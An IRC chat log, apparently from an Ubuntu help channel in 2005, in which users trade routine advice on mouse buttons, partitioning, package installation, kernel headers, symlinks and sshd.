konengnerdy2, i'm trying to get back/forward buttons on my 5 button mouse to work in firefox. so i looked it up here: http://www.ubuntuforums.org/showthread.php?t=28374 it says to edit .xsession file04:41
sproingiedogson: dunno then.  something had to create it the first time around04:41
MAPDhelp pls04:41
nerdy2koneng: ok, you can create it if it doesn't exist04:42
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topyliyay, breezy did not kill my box after all :)04:42
konengnerdy2, do i just type 'gedit .xsession' while im in my /home/user dir to create it?04:43
nerdy2koneng: that'll suffice04:44
nerdy2koneng: keep in mind that step may not be necessary04:44
konengnerdy2, why do you say that?04:44
nerdy2koneng: it may suffice to just add ZAxisMapping 4 5 to your input device section of xorg.conf04:44
konenginstead of 6 7?04:45
nerdy2koneng: and of course the right mouse protocol (maybe Option Protocol IMPS/2 ...)04:45
nerdy2koneng: yes04:45
konengnerdy2, would you mind explaining what the difference is between 4 5 and 6 7?04:45
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nerdy2(firefox expects the wheel inputs to come in as buttons 4,5 ...   for whatever reason this wasn't working for the guy in that forum, so in addition to changing the mouse protocol he also changed this to 6,7 but then modified the .xsession to /remap/ these to come in as if they were 4,5)04:46
nerdy2(the xmodmap -e "pointer = 1 2 3 6 7 4 5"   exchanges what buttons 6,7 and 4,5)04:47
theD3viLWhy is totem in every ubuntu? why isnt mplayer or anythink else?04:47
nerdy2isn't the point of ubuntu to choose one thing and stick with it :)04:48
konengnerdy2, oh, i see. i'll try that, thanks for your help04:48
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nerdy2theD3viL: there are other things in the universe/multiverse (mplayer's in the multiverse)04:49
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black_13i need candy!04:49
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LoveBug356apokryphos: How do I run that cgi-script?04:50
theD3viLyes..i know......but i dont wanna have installed 4players and i need just one !04:50
apokryphosLoveBug356: it's been about 6 months since I tried blosxom, I have no idea. Check the docs on it.04:51
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apokryphos(I imagine you mean blosxom)04:51
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zeus1_can anyone help me fix sound04:53
Hieronymuszeus1_: what is the problem04:54
zeus1_i cant here any sound in my usb headset hieronymus04:54
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zeus1_and its not being detected in device manager04:55
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Hieronymuszeus1_: from what I know, Ubuntu can't handle more than 1 soundcard properly (yet). Some USB headsets are in fact/have a soundcard. I heard (but am not sure), that it'll be fixed in the next Ubuntu release (october)04:57
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zeus1_hieronymus: thank u...i guess i have to go back to the doze to listen to my tunes :(04:58
Hieronymuszeus1_: I'm not sure, but this looks similar to your problem: http://ubuntuforums.org/showthread.php?t=280304:58
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lexmark2just ran into a problem here.. I just installed Alien.. but I am dont know how to open the program?05:00
zeus1_thank u hieronymus i will chek that out05:00
topylilexmark2: it's not an interactive program, you just run it on a target file05:00
topylilexmark2: like "alien -i foo.rpm"05:01
OneSeventeenOur windows machines here at work were hit by the recent worm outbreaks, and I need to help troubleshoot, but I can't seem to replicate the issue with my ubuntu box.... :p05:01
topyliOneSeventeen: yeah, linux's virus support sucks05:01
cemc:)05:01
lexmark2oh05:02
lexmark2thank topy05:02
nerdy2theD3viL: that's kinda the point, why not use totem then?05:02
zeus1_damn it...this is too hard...guess i have to wait until october...is it hard to upgrade to breezy??05:02
theD3viLnerdy2, couse totem dont have much options05:03
zeus1_when it comes out that is....05:03
Hieronymuszeus1_: not when it's stable/released05:03
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zeus1_So is there just a button u click when breezy is released to just upgrade from Hoary05:03
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dwerfwhat are my options with video editing on Linux?05:03
nerdy2theD3viL: options?05:03
arudwerf: Kino is good05:03
aruthats what I use05:04
theD3viLnerdy2, yes.. totem even dont have STOP button !!!05:04
Butcherbird_Jrzeus1_, cant you use apt get do update distro05:04
dwerfaru > is it available through synaptic?05:04
zeus1_umm idk butcherbird_jr05:04
arudwerf: yes it is05:04
nerdy2theD3viL: it has a pause button05:04
theD3viLaru, Kino is for video editing05:04
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arutheD3viL: isn't that what he asked for?05:04
Hieronymuszeus1_: I'm not sure about via the network (might need to change some configuration), but if you insert a Breezy Badger CD, you will be asked if you want to upgrade05:05
topylitheD3viL: stop buttons are obsolete. tape recorders need them, totem doesn't05:05
funkyHatthe gtk-qt theme engine is crap :(05:05
zeus1_oh ok....that sounds easy enough05:05
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Butcherbird_Jrzeus1_, I think it is apt-get upgrade distro05:05
lexmark2topy, I am trying to locate the parameters for Alien.. could not locate it in their website05:05
zeus1_so is it a CD or apt-get???05:05
zeus1_im confused now :(05:05
lexmark2do you happen to know whats the command line to convert RPM to deb?05:05
Butcherbird_Jrzeus1_, either05:05
aruSystem > Administration > Ubuntu Update Manager05:05
topylilexmark2: read the man page, it's always nearby05:05
zeus1_k.05:05
theD3viLtopyli, so when you want to stop movie you must close programm05:06
lexmark2http://www.kitenet.net/programs/alien/05:06
lexmark2thats the page right?05:06
zeus1_i relly like ubuntu....but im really upset that i cant get my sound to work...it basically ruins the whole thing for me :(05:06
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adjacenthow do i permanently add something to the PATH of a certain user (or system-wide, for that matter)...? I've edited .bashrc, but it doesnt seem to apply when i open a new Terminal05:06
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adjacentzeus1_: what sndcard?05:06
aruzeus1_: yeah...05:06
aruheh05:06
topylitheD3viL: i don't see the use case. either you pause, you change the movie, or you exit05:07
zeus1_adjacent : nvidia soundforce05:07
zeus1_and also a plantronics dsp 500 head set05:07
adjacentzeus1_: can you see it if you run lspci?05:07
zeus1_sec05:07
theD3viLtopyli, so you using totem '05:07
topylii am05:07
aruzeus1_: you have no sound what so ever, or just when you try certian types of media?05:07
zeus1_adjacent: no I dont see it05:08
zeus1_aru: I have no sound in the headset...it works perfectly fine through the speakers05:08
funkyHatis there a plastik-like theme for gtk2?05:08
topylidarn. lyx takes forever to build. this is as bad as mozilla or something05:08
nerdy2theD3viL: are you saying you want to get an hour or two through a movie, and then stop it and restart from the beginning?05:08
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arufunkyHat: did you check out gnome-look.org and art.gnome.org05:08
adjacentzeus1_: oh, how does the headset interface with the soundcard? just a minijack?05:09
funkyHatyeah, i can't find anything at the moment05:09
dwerfaru - it's installed now, does it support multiple sound and/or audio layers?05:09
aruzeus1_: well my only guess is... are they plugged in? :)05:09
theD3viLnerdy2, no...just asking...so all of you using TOTEM?05:09
Concord_Dawnubotu: tell funkyHat about art05:09
Concord_Dawnubotu: tell funkyHat about themes05:09
topylihehe05:09
zeus1_aru: ....lol yes they are...they work fine in windows XP05:09
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BergcubeWhat are the rules-of-thumb concerning partition sizes?  I've read various docs on this, but they're always rather general.  I'm thinking about how big does /boot, / , and swap NEED to be?05:09
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aruhey... sometimes you never know05:09
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zeus1_adjacent: Umm...idk I think its seperate from the card05:09
jeaahwhere I can download gcc for ubuntu?05:10
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adjacentanyone know about that PATH question? how to add something to the global PATH?05:10
apokryphosjeaah: sudo aptitude install build-essential05:10
adjacentzeus1_: sorry, im really not familiar with that headset....05:10
nerdy2theD3viL: yes i use totem05:10
Hieronymusjeaah: you can install it with apt-get05:10
Butcherbird_Jrlexmark2, alien -d "filename"05:10
topylitheD3viL: there's a reason totem is the gnome default. it works like gnome apps do, without some weird skinned interface05:10
nerdy2theD3viL: and no you don't want that feature?   but you are complaining that totem doesn't have it?!05:10
zeus1_adjacent: k05:10
jeaahapokryphos: I can't - it says that I must install gcc and g++05:10
DjKriticalIs there a linux equivilent of windows deamon tools?05:11
apokryphosjeaah: that *brings in* those05:11
adjacentDjKritical: mount?05:11
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apokryphosjeaah: are you connected to the Internet?05:11
apokryphos(on that computer)05:11
jeaahNO!05:11
BergcubeDjKritical~ I have to agree with adjacent.  You can simply mount the ISO.05:11
jeaah:(((05:11
jeaahthat's the problem05:12
aruzeus1_: http://www.wombatnation.com/2004/06/skype-on-linux05:12
DjKriticalI didn't realise you could mount an ISO? what about other Image formats?05:12
adjacentDjKritical: something like "mount -t iso9660 file.iso /mnt/cdimage"05:12
Hieronymusjeaah: you can use a CD05:12
lexmark2thanks Butcherbird05:12
nerdy2theD3viL: it's kinda absurd to complain it is missing something that no one would ever use (including yourself) :)05:12
aruzeus1_: on that message board they talk about getting the same headset working on fedora...05:12
jeaahHieronymus: how ?05:12
Fabsewhat do i have to do to register a ttf font file with the font server (under breezy)05:12
lexmark2thanks Butcherbird_Jr05:12
BergcubeDjKritical~ Thou shalt not have other image formats than ISO!  :-D  :-D  :-D05:12
Hieronymusjeaah: you can install packages from a CD05:12
theD3viLnerdy2,hm... ?05:13
Hieronymusjeaah: do you have a ubuntu installation cd?05:13
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zeus1_aru: k thx...i will take a look05:13
jeaahHieronymus: yes05:13
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aruzeus1_: it's actually after the article, down in the comments05:13
DjKriticalBergcube, lol yeah.. I guess I can just convert the other formats... stupid windows programs making their own formats! (nrg/nero... alcohol)05:13
Butcherbird_Jrnp05:13
nerdy2theD3viL: i asked "so you want the opportunity to stop midway through a long movie and start it over from the beginning" and you said "no"   i take that to mean you agree that there's no use for a stop button05:13
jeaahHieronymus: i have cd but how to do it?05:14
zeus1_aru : i found this ... maybe this can help http://www.mail-archive.com/alsa-user@lists.sourceforge.net/msg08090.html05:14
BergcubeI'm nagging:  What are the rules-of-thumb concerning partition sizes?  I've read various docs on this, but they're always rather general.  I'm thinking about how big does /boot, / , and swap NEED to be?  (I plan to put /home on a partition of it's own, and I want it as large as I can...)05:14
BergcubeDjKritical~ I thought Nero could make ISO-images directly?05:14
topylinerdy2: it's possible of course. you can drag the progress bar back to the beginning (or anywhere you like)05:14
dwerfpeople, i've been using ubuntu for 2 weeks now and i just wanted to let all of you know i've completely fallen in love with linux05:14
osfameronnerdy2, actually, it annoys me that, for example, iTunes doesn't have a stop button.  I know it's irrational, but I find that fact that you can only pause songs discomforting05:14
apokryphosjeaah: sudo apt-get install gcc05:15
apokryphosit's on the CD, I think05:15
aruzeus1_: if it were my headset, I would throw it down and cry... but I give up easy05:15
Hieronymusjeaah: Open Synaptic package manager, inside Synaptic press configuration -> repositories05:15
DjKriticalBergcube, by default it makes NRG... and a lot of my images wern't made by me05:15
zeus1_aru: lol...I have been at this for 4 days..I posted a topic on the forums and have had to bump it 5 times because its getting no replies05:15
DjKriticalIt's all good tho, no big deal to convert them05:15
nerdy2topyli: yes and even if it was some long dvd, you could also press b a few times, and so the keynav's also sufficiently easy05:15
CarlFKis there a comman line way to get an image from a usb web cam?  (I have a few models)05:15
Hieronymusjeaah: It might be something different, I use Dutch menus, so I'm not really sure what it's called05:15
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nerdy2topyli: but it's hardly ever useful05:15
BergcubeDjKritical~ Ah.  Well, then I guess that's the easiest tweak.05:16
apokryphosHieronymus: I don't think he needs to... CD is uncommented by default, no?05:16
Fabsewhat do i have to do to register a ttf font file with the font server (under breezy)05:16
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Hieronymusapokryphos: I'm not really sure, that's why I'm asking him to check ;-)05:16
dwerfif the default name of thunderbird is mozilla-thunderbird, how can i change it?05:16
topylinerdy2: no it's not. otherwise we would have a "play it again sam" button :)05:16
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apokryphosdwerf: change it? As in, change the executable for it?05:17
BergcubeIs there really NOBODY that have partitioned their disks manually?05:17
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HieronymusBergcube: what do you mean by manually?05:17
topyliBergcube: no, we use software for that ;)05:17
nerdy2Bergcube: heh boot needs to be large enough to handle a few kernels05:17
CarlFKHieronymus - using a hex editor ;)05:17
HieronymusBergcube: I used the 'advanced' mode if that's what you mean05:17
BergcubeHieronymus~ I mean, choosing on your own how big the various partitions are to be and what file system they shall hold.....05:17
dwerfapokryphos > no, change the name for the shell, so i don't need to type 'mozilla-thunderbird'05:17
HieronymusCarlFK: :)05:18
HieronymusBergcube: I did that05:18
topyliBergcube: of course05:18
nerdy2Bergcube: and at the same time, probably small and near the beginning of the disk to prevent problems05:18
adjacentBergcube: i think most people do that, unless its their first or second install05:18
BergcubeHieronymus~ Yeah, in advanced.05:18
dwerfapokryphos > like just 'thun'05:18
Tobsnhmm how to remove the error "SIOCGIFFLAGS-Error: No Device found" when i'am clicking on the networkicon05:18
Tobsn...?05:18
apokryphosdwerf: ...for it to open up thunderbird? Yes, that *is* changing the executable for it05:18
aruduring the install it said "we're gunna kill everything and make it some elite linux format" and I clicked the Alright button05:18
apokryphosdwerf: just make a symbolic link to mozilla-thunderbird in bin/05:18
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dwerfapokryphos > cool05:18
adjacentBergcube: personally i think its a bad idea not to put /var on its own partition05:18
CarlFKadjacent -I used to do manual, then i realized the installers did a pretty good job, so now I just let it do what ever it wants, and havn't regrted it05:19
sorush20how do I get a sony handycam to work with Ubuntu05:19
spiderwormhey all, all of the sudden firefox (and only firefox) has become extremely slow to respond to mouse clicks, one to two seconds, anyone hear of this problem before?05:19
topylidwerf: /usr/bin rather. thunderbird is hardly an essential system tool05:19
adjacentCarlFK: dont have any HD errors then.... or /var/log/syslog could consume your disk ;)05:19
dwerfapokryphos > so anything that is in /bin will be started in the shell by just typing it's name?05:19
BergcubeI plan to make one partition for swap, one for / one for /boot and one for /home.  I want to get as much space as possible left for /home.  So I wonder what "the rules" are for the rest......05:19
dwerfapokryphos > so anything that is in /usr/bin will be started in the shell by just typing it's name?05:19
apokryphosdwerf: /usr/bin/ for systemwide; ~/bin/ for you05:20
dwerfthanks05:20
HieronymusBergcube: swap rule-of-thumb is your RAM*205:20
Bergcubeadjacent~ I agree.  I've never really seen the point of putting /var on a separate part.05:20
HieronymusBergcube: like 512MB RAM*2=1024MB SWAP05:20
stoeptegelcan somebody say why i get a kernel panic (can't find / patition) when i plugin my second sata harddisk?05:20
BergcubeHieronymus~ I see.  Well, that's not much.  :-)05:20
stoeptegeltypo -> partition05:21
ollieif I've got an nvidia geforce 5500, should it be auto-detected, when installing either hoary or breezy?05:21
adjacentBergcube: /boot should be 500megs or so, /var should be a few gigs, / should be maybe 7-10gigs, swap is roughly twice your RAM, and /home can be the rest05:21
CarlFKHieronymus - the swap rule only works if you only have as much ram as you need05:21
HieronymusBergcube: you want /boot to be a few hundred MB05:21
dwerfapokryphos > there doesn't seem to exist a ~/bin05:21
ollieI'm not sure reading the wiki whether I'd only need to anything to get better performance for 3-d05:21
CarlFK500 meg for boot!! wow.  I have 30.05:21
HieronymusCarlFK: well, it's a stupid rule, but there's nothing better, is there05:21
apokryphosdwerf: create it05:21
Bergcubeadjacent~ Brilliant!05:21
adjacentBergcube: its so your logs dont fill your disk and prevent you from manageing the box remotely05:21
dwerfok05:21
CarlFKHieronymus - better: let the distro do it for you.05:22
BergcubeHieronymus~ Thanks a lot!05:22
Bergcubeadjacent~ I see......05:22
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adjacentCarlFK: yeh, depends on how many kernels you have, etc05:22
adjacentCarlFK: ive had tiny /boot parts on embedded systems, for example05:22
CarlFKadjacent - and now big your drive is.  over 1/2 my installs are on 5 year old boxes that have 3.5gig drives05:23
adjacentCarlFK: agreed. i think Bergcube was talking about a desktop system though05:23
stoeptegelit's boots fine when one disk pluged05:23
Bergcubeadjacent~ I was.  :-)05:23
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jatoshi05:24
Hieronymusjatos: hi05:24
BergcubeThanks for your help and input, folks.  I'm off to re-install this computer.05:24
CarlFKwe could talk about Bergcube's needs for an hour, and I would bet 10:1 that the default would work just as well05:24
tdnIs there a "Ubuntu way" of installing Eclipse (eclipse.org)? Or should I just download it from eclipse.org?05:25
Hieronymus!package eclipse05:25
ubotuHieronymus: Are you smoking crack?05:25
BergcubeCarlFK~ You are probably right.  But I am a control freak.  And a computer consultant.  I want to KNOW what's going on.  I want to tweak and tickle with it.05:25
apokryphosHieronymus: it's !info or !find :)05:26
tdnHieronymus, well... are you? :)05:26
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tdn!info eclipse05:26
tdn!find eclipse05:26
ubotueclipse-nls-sdk: (localized message catalog for eclipse), section multiverse/devel, is optional. Version: 2.1.2.1-2 (hoary), Packaged size: 20924 kB, Installed size: 35976 kB05:26
adjacentCarlFK: k05:26
Hieronymusapokryphos: thanks05:26
Hieronymustdn: http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=eclipse&searchon=names&subword=1&version=all&release=all lists packages with 'eclipse' in it for Ubuntu05:26
CarlFKBergcube - in this case, I don't think the time spent tweaking is worth it, so if you are charging for yout time, you are scamming your clients (imho)05:26
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CarlFKdamm, he left.  I feel bad.  so I'll respond for him: Bergcube: "I belive it is worth it, my customers are happy, and I give them enough extra help for free that it all works out"05:28
CarlFKthere.  I feel better.05:28
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dwerfwhen typing "ln mozilla-thunderbird /home/dwerf/Desktop/thun" I do not get a linked file, but an executable05:29
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tdnHieronymus, hmm... Yeah. But I'm not sure that answers my question.05:29
adjacentdwerf: ln -S05:29
dwerfhow do i create an alias?05:29
dwerfok05:29
Hieronymustdn: the 'ubuntu way' of installing packages is using apt-get or a frontend for it (like the Synaptic package manager)05:29
adjacentdwerf: you want a symbolic link, not a file pointer to the same meory space05:29
dwerfadjecent > thanks05:30
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lexmark22I just installed a deb package from the root.. how do I go about finding the application to launch? Gyach, thats the name of the app05:30
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Hieronymuslexmark22: my guess: run 'gyach'05:30
tdnHieronymus, yes. But there is appearently no such package. Could I use one from apt-get.org? Or is that a big No no in Ubuntu?05:30
sorush20are BeOS drivers the same as linux05:30
lexmark22nope.. apparently its not working05:31
Hieronymustdn: I wouldn't do that, but you _can_05:31
lexmark22application could not be found05:31
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lapohi05:31
lexmark22it resides under /usr/bin right?05:31
tdnHieronymus, what would you do then? Download Eclipse from eclipse.org+05:32
Hieronymustdn: A good start would be to request for the package to be added to Ubuntu05:32
Hieronymustdn: https://wiki.ubuntu.com/UniverseCandidates05:33
wdhsorush20, dont't think so05:33
sorush20wdh: can I use wine to install software for hardware and then to be able run that hardware..05:33
Hieronymussorush20: I don't think so05:34
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Hieronymussorush20: BeOS is a complet different OS from GNU/Linux05:35
wdhsorush20, drivers are kernel-specific normally..05:35
lexmark22can I pm you Hieronymus?05:35
Hieronymuslexmark22: why?05:35
lexmark22just have a short log from the install of the deb05:35
tdnHieronymus, No. I don't think that I will do that. From the page: `` you must have reviewed this package for known security vulnerabilities and provide patches for all of them'', I am not experienced enough to do that.05:35
lexmark22or is it ok to paste it here?05:35
Hieronymustdn: that's if you want to actually _get_ it in Universe05:36
Hieronymustdn: you can request that someone does it for you05:36
wdhlexmark22, try paste.ubuntulinux.nl05:36
Hieronymuslexmark22: paste in a pastebin, like wdh said05:36
Hieronymuslexmark22: paste the link to the pastebin here05:36
lexmark22ok will do05:36
tdnHieronymus, how do I request that?05:36
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thuxHi, howto make bootcd like boot floppy in hoary that can start without bootloader in mbr?05:36
sorush20I wana be able to capture films on to my linux system from a handy cam can someone help please.. can I use wine to install software for hardware and then to be able run that hardware..05:37
CarlFKthux - SMB05:37
CarlFKer05:37
CarlFKthux - SBM  (url comming...)05:37
Hieronymustdn: you edit the list there, and add an entry for whatever package you want in Universe05:37
lexmark22actually, I have narrowed it down to 2 lines05:37
lexmark22Unpacking replacement gyach-enhanced-media-package ...05:37
lexmark22Setting up gyach-enhanced-media-package (0.2-2) ...05:37
lexmark22I get that after installing the deb05:37
lexmark22after that it goes to the root prompt05:38
lexmark22but I could not locate the file05:38
tdnHieronymus, ok. But that doese not fix my problem right now. How would you recommend that I installed eclipse _now-?05:38
Hieronymustdn: well, using a .deb is better than building from source. Try to see if Debian has Eclipse, else try apt-get.org05:38
CarlFKthux -hmm.. cant find the URL... before I spend too much time... do you want to boot something on a CD or HD?05:38
thuxhd05:39
tdnHieronymus, ok. Thanks.05:39
thuxhoary on hd05:39
Hieronymustdn: http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=eclipse&searchon=names&subword=1&version=all&release=all05:39
Hieronymustdn: http://packages.debian.org/cgi-bin/search_packages.pl?keywords=eclipse&searchon=names&subword=1&version=all&release=all05:39
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CarlFKthux - ok - not sure if sbm will do what you need, but it is easy enough to try, and worth messing with it for 5 or 10 min just to learn what it does05:39
thuxok I try that, thanx05:40
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CarlFKhttps://wiki.ubuntu.com/SmartBootManagerHowto05:40
CarlFKdamm.05:40
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HieronymusCarlFK: ?05:40
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CarlFKyes?05:41
HieronymusCarlFK: why the "damn"?05:42
CarlFKcuz thux left right before I posted the URL05:42
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CarlFKI have a logitech quickcam - any clue how to grab jpgs or some format of still image from it?05:43
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kamikazespongehello05:44
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CarlFKand... how do I let a user (that isn't a sudoer) start/stop a dialup connection to the Net?05:46
thoreauputicCarlFK: add them to the dip and dialout groups05:46
sorush20how do I capture form a MiniDV media05:46
CarlFKthoreauputic - once added, what do they do to make the conection?05:47
CarlFK(I have gotten 3+ answers to this, so I want to know which to try now)05:47
thoreauputicCarlFK: depends on how you configured it - I used pppconfig, and use pon/poff for connection05:47
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thoreauputicCarlFK: if you used the graphical method, right click the panel and select the dialup applet05:48
CarlFKthoreauputic - know of any GUI ways (I am setting up a box that some 7, 9 an 15 year old kids will use)05:49
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thoreauputicCarlFK: see above re: applet05:49
angasulewhere can I get a list of supported hardware? I've been searching in the website, wiki, etc, and no luck05:49
thoreauputicCarlFK: my experience is that pppconfig works better than the network tools here05:49
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thoreauputicCarlFK: if you are using pon/poff, you can make buttons as custom launchers for the commands05:50
Hieronymusangasule: https://wiki.ubuntu.com/HardwareSupport05:50
CarlFKthoreauputic - is "dialup applet" the "modem monitor" ?05:50
angasulethanks, Hieronymus05:50
thoreauputicCarlFK: I expect so - I'm in fluxbox atm so I can't check - try it and see05:51
CarlFKI did - "modem monitor" (which I think used to be modem lights) requires sudo even to just connect05:52
ollieis there a way to specify a video driver to use when installing or running the livecd?  I'm trying to figure out how to get my geforce 5500 detected.  or do I just do it after the fact?05:52
thoreauputicCarlFK: are your users in the groups I meantioned?05:52
NoUseollie I don't think nvidia drivers can be included in the live CD due to licensing issues05:52
thoreauputic*mentioned05:53
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CarlFKthoreauputic - ill try the pon/off way now - I keep avoiding it cuz I figured there was a gui thing hiding somewhere05:53
CarlFKthoreauputic... hmm, let me confirm the group thign.. brb05:53
ollieNoUse: but should it work at all?  the wiki page says to use synaptic to install the driver, but using synaptic would suggest x is running ;-)05:53
ErillinenUmm, is there way to make key shortcuts for launching programs?05:54
thoreauputicCarlFK: it's pretty straightforward (  sudo pppconfig  )05:54
CarlFKis there a shell command to display what groups a user is in?05:54
ErillinenOr how to configure them?05:54
CarlFKother than grep /etc/passwd05:54
thoreauputicCarlFK: id or groups05:54
thoreauputicCarlFK: as the user concerned, of course05:55
ErillinenIs there way to make shortcuts for programs?05:55
CarlFKErillinen - yes.05:55
CarlFKErillinen - right click the launcher bar05:56
twibblercan someone recommend which package to install to monitor and configure blue tooth devices such as mobile phone, pda, headset etc ... via a usb dongle ..05:56
thoreauputicCarlFK: I think he wants keyboard shortcuts05:56
ErillinenYeah, keyboard shortcuts are what i ment.05:56
ErillinenI'm sorry for using wrong term.05:56
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CarlFKtwibbler - BT is cutting edge, so be ready for "fun"05:57
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CarlFKoh yeah.. you did say "key" but I read too fast and missed it05:57
AzCowboyCan Someone help me with a simple bash script?  Or rather, the proper syntax for IF05:57
NoUseollie yeah it should at least give you 2d functionality05:57
twibblerCarlFK: you mean BT package ?...05:58
CarlFKAzCowboy - http://www.tldp.org/LDP/abs/html/index.html (I hit that every few days )05:58
ollieNoUse: ok, thanks -- will file a bug05:58
AzCowboyThanks, CarlFK.  That will help.05:58
CarlFKtwibbler - yes - I only have a BT headset and have only looked at BT support for about 20 min...05:58
twibblerCarlFK: I see ... I have O2 headset .....05:59
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OneSeventeenI'd like to set up multiple users on one Ubuntu machine, meaning like 4 monitors, 4 mice, 4 keyboards, 1 PC.  Are there any apps out there to do this?05:59
ErillinenSo, does anyone know answer for my problem?05:59
CarlFKtwibbler - not saying it wont' work, i just quickly decided I didn't have time.  I should really stop promicing friends that I will do things for them ;)06:00
lexmark22lol, its tough enough to get ubuntu working right on one machine06:00
thoreauputicOneSeventeen: it's possible, of course - but I think you would need a number of utilities to do it, and some configuration06:01
twibblerCarlFK: Are that old chestnut .... I have bluetooth manager installed and can find all the devices but configuring them looks very daunting after looking at google etc ...06:01
topyliErillinen: in modern gnome there's no obvious way to define arbitrary commands to keys. you can do it in gconf-editor though06:01
Fabsewhat do i have to do to register a ttf font file with the font server (under breezy)06:01
gigaclonhow can I kill and restart ALSA?06:01
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Erillinentopyli: Ok, thanks, so I let it be.06:02
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thoreauputicOneSeventeen: from memory, the getty program would be involved ( man getty)06:02
topyliErillinen: that's the spirit :)06:02
thoreauputicgigaclon: sudo /etc/init.d/alsa restart06:03
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ErillinenDont want to break anything, took me enough effort to get this working at all :)06:03
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Desdinovaare there any caveats to installing ubuntu to a USB device?06:03
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Desdinovaor can I just have it plugged in and install to it as I would any other drive?06:03
Fabsewhat do i have to do to register a ttf font file with the font server (under breezy)06:04
OneSeventeenthoreauputic: thanks, I'll look into the getty thing06:05
thoreauputicFabse: if it's the same as Hoary, type fonts:/// in the nautlus location bar06:05
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thoreauputicFabse: and drop the fonts there06:05
Fabseokay06:05
thoreauputicOneSeventeen: I think what you want is fairly complicated to set up - there's a company that does this with linux - forget the name06:06
thoreauputicOneSeventeen: google "multi monitor tty logins " or something, perhaps ( haven't tried it )06:07
othernoobfree Opera today :) http://my.opera.com/community/party/reg.dml06:08
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JesterIs there a package with 32 bits SDL libs ?06:09
CarlFKOneSeventeen - I have heard of that beging done with ubuntu - like 6+months ago, for free06:10
thoreauputicOneSeventeen: this might be something like it: http://www.ibiblio.org/pub/Linux/docs/HOWTO/other-formats/html_single/XFree-Local-multi-user-HOWTO.html06:10
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ErillinenHas anyone had luck with Inprocomm IPN2220 - WLAN Card?06:11
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moogmanHey all... Just installed Breezy on my laptop and I'm getting an "(EE) No devices detected." error. It is also loading the vmware svga driver, which I find a little strange... Any ideas?06:11
jajehi06:12
jajei have a problem06:12
ErillinenIf anyone could help me I would be more than happy06:12
CarlFKmoogman -  post details to http://bugzilla.ubuntu.com06:12
jajewhen i tried to install Intel536EP driver06:12
jajeubuntu said me:06:12
jajeModule precompile check06:12
jajeCurrent running kernel is: 2.6.10-5-38606:12
jajepleas install kernel source06:12
jajelib/modules ... autoconf.h does not exist06:12
jajepleas install kernel source06:13
jajewhat can I do to fix that ?????06:13
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moogmanCarlFK: Ok, thanks.06:13
kemikjaje:  apt get it06:13
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jajekemik: what?06:13
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kemik!kernel-source06:13
ubotukemik: NO SPEAKE ENLISH!06:13
kemik!kernelsource06:13
ubotukemik: What?06:13
kemikarggh06:14
thoreauputicjaje:  sudo apt-get install linux-headers-$(uname -r)06:14
kemikthoreauputic triggers on the bot too ;)06:14
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jajei did it06:14
ErillinenHas anyone had luck with Inprocomm IPN2220 - WLAN Card? Didnt find anything with google.06:14
jajewhat uname -r means?06:14
thoreauputicjaje: type it to see06:15
CarlFKjaje - man uname06:15
thoreauputicjaje: it identifies your kernel06:15
HieronymusI'm looking for a graphical utility to manage LVM (Logical volume manager).06:15
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HieronymusAnyone know of such a thing?06:15
jajethoreauputic: and your are sure that it will install autoconf.h ??06:15
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thoreauputicjaje: the error you are getting suggests you need the kernel headers06:16
Quincy_freal_is_can someone help me log in as root06:16
thoreauputicjaje: so use the command I gave ( literally)06:16
thoreauputic!root06:16
ubotuit has been said that root is disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo06:16
jajeliterally?06:16
ArsonideYou use sudo for everything.06:17
thoreauputicjaje: sudo apt-get install linux-headers-$(uname -r)06:17
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CarlFKapokryphos - I think it does somewhere in the setup - it just isn't big enough06:17
thoreauputicapokryphos: a big red flashing screen maybe :)06:18
ubuntuguyanyone: does anyone know how to turn on the sshd at boot time?06:18
kemikthink is says so when adding the first user ?06:18
darkheartWhere's the site w/ Ubuntu packages? Thought it was packages.ubuntulinux.org06:18
kemikif it doesnt, it really should :)06:18
apokryphosCarlFK: I must've missed it too06:18
thoreauputicubuntuguy: it runs by default06:18
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apokryphosthoreauputic: I'm thinking with little smilie pacman-men running about, definitely!06:18
kemiki'm even using sudo on my debian boxes now ;)06:18
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Quincy_freal_is_ok...another question...when I try to access things like "Login screen setup" I get messages like "Child terminated with 1 status"06:19
ArsonideIs there a package tutorial somewhere? Everybody keeps telling me to get this package from different places and install it in different ways...I don't know if I'm installing the right thing, the right way, and after it's installed I don't know how to find it.06:19
thoreauputic!sources06:19
ubotusources are at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/96906:19
ubuntuguythoreauputic: I'm getting connection refused?06:19
apokryphosArsonide: of course that depends on what you're trying to install06:19
kemikQuincy_freal_is_:  exit status 1 usually means there's an error ;)06:19
ArsonideSay for instance I use synaptic to install freeciv, where did it go?06:19
ArsonideIt says it finished successfully...but where is it? lol06:19
apokryphos!info freeciv06:19
ubotufreeciv: (transitional dummy package which can be safely removed), section universe/games, is optional. Version: 1.14.2-1 (hoary), Packaged size: 10 kB, Installed size: 40 kB06:19
Quincy_freal_is_I've been getting that for everything...how do I fix it?06:19
apokryphosArsonide: it's in Universe.06:19
thoreauputicubuntuguy: ps aux | grep ssh  on the server to see if it's running06:20
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Erillinen!info Inprocomm IPN222006:20
apokryphosArsonide: it's probably in the menus somewhere06:20
apokryphosArsonide: or, most likely you can do alt+f2 -> freeciv06:20
thoreauputicubuntuguy: or just  pgrep sshd06:20
Arsonidewhere is universe06:20
apokryphosArsonide: uncomment the line with "Universe" in it, in /etc/apt/sources.list06:20
NoUse!tell Arsonide about repositories06:21
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ubuntuguyI'm only getting /usr/bin/ssh-agent06:21
ArsonideI messed up that file06:21
apokryphosArsonide: you've already done that though if it said that it installed successfully06:21
apokryphos!sources06:21
ubotusources are at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/96906:21
apokryphosArsonide: you can use the one there, then.06:21
lancer285hey guys, is there a way to tell Gnome Torrent which ports to use? I'm only getting abou 40Kb download06:21
ArsonideThe sources.info, I copied a sample source.info into mine and everything went to hell.06:21
ArsonideThat's the one I used, from the wiki.06:21
apokryphoslancer285: that app is useless :P06:21
thoreauputicubuntuguy: have you installed openssh-server ? If not, do so06:21
lancer285apokryphos hehe, okay which do you reccomend??06:22
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apokryphosArsonide: use the one from the pastebin there06:22
apokryphoslancer285: Azureus or KTorrent06:22
ubuntuguythoreauputic: can I do that with synaptic package manager?06:22
lancer285apok, thanks!06:22
thoreauputicubuntuguy: sure06:22
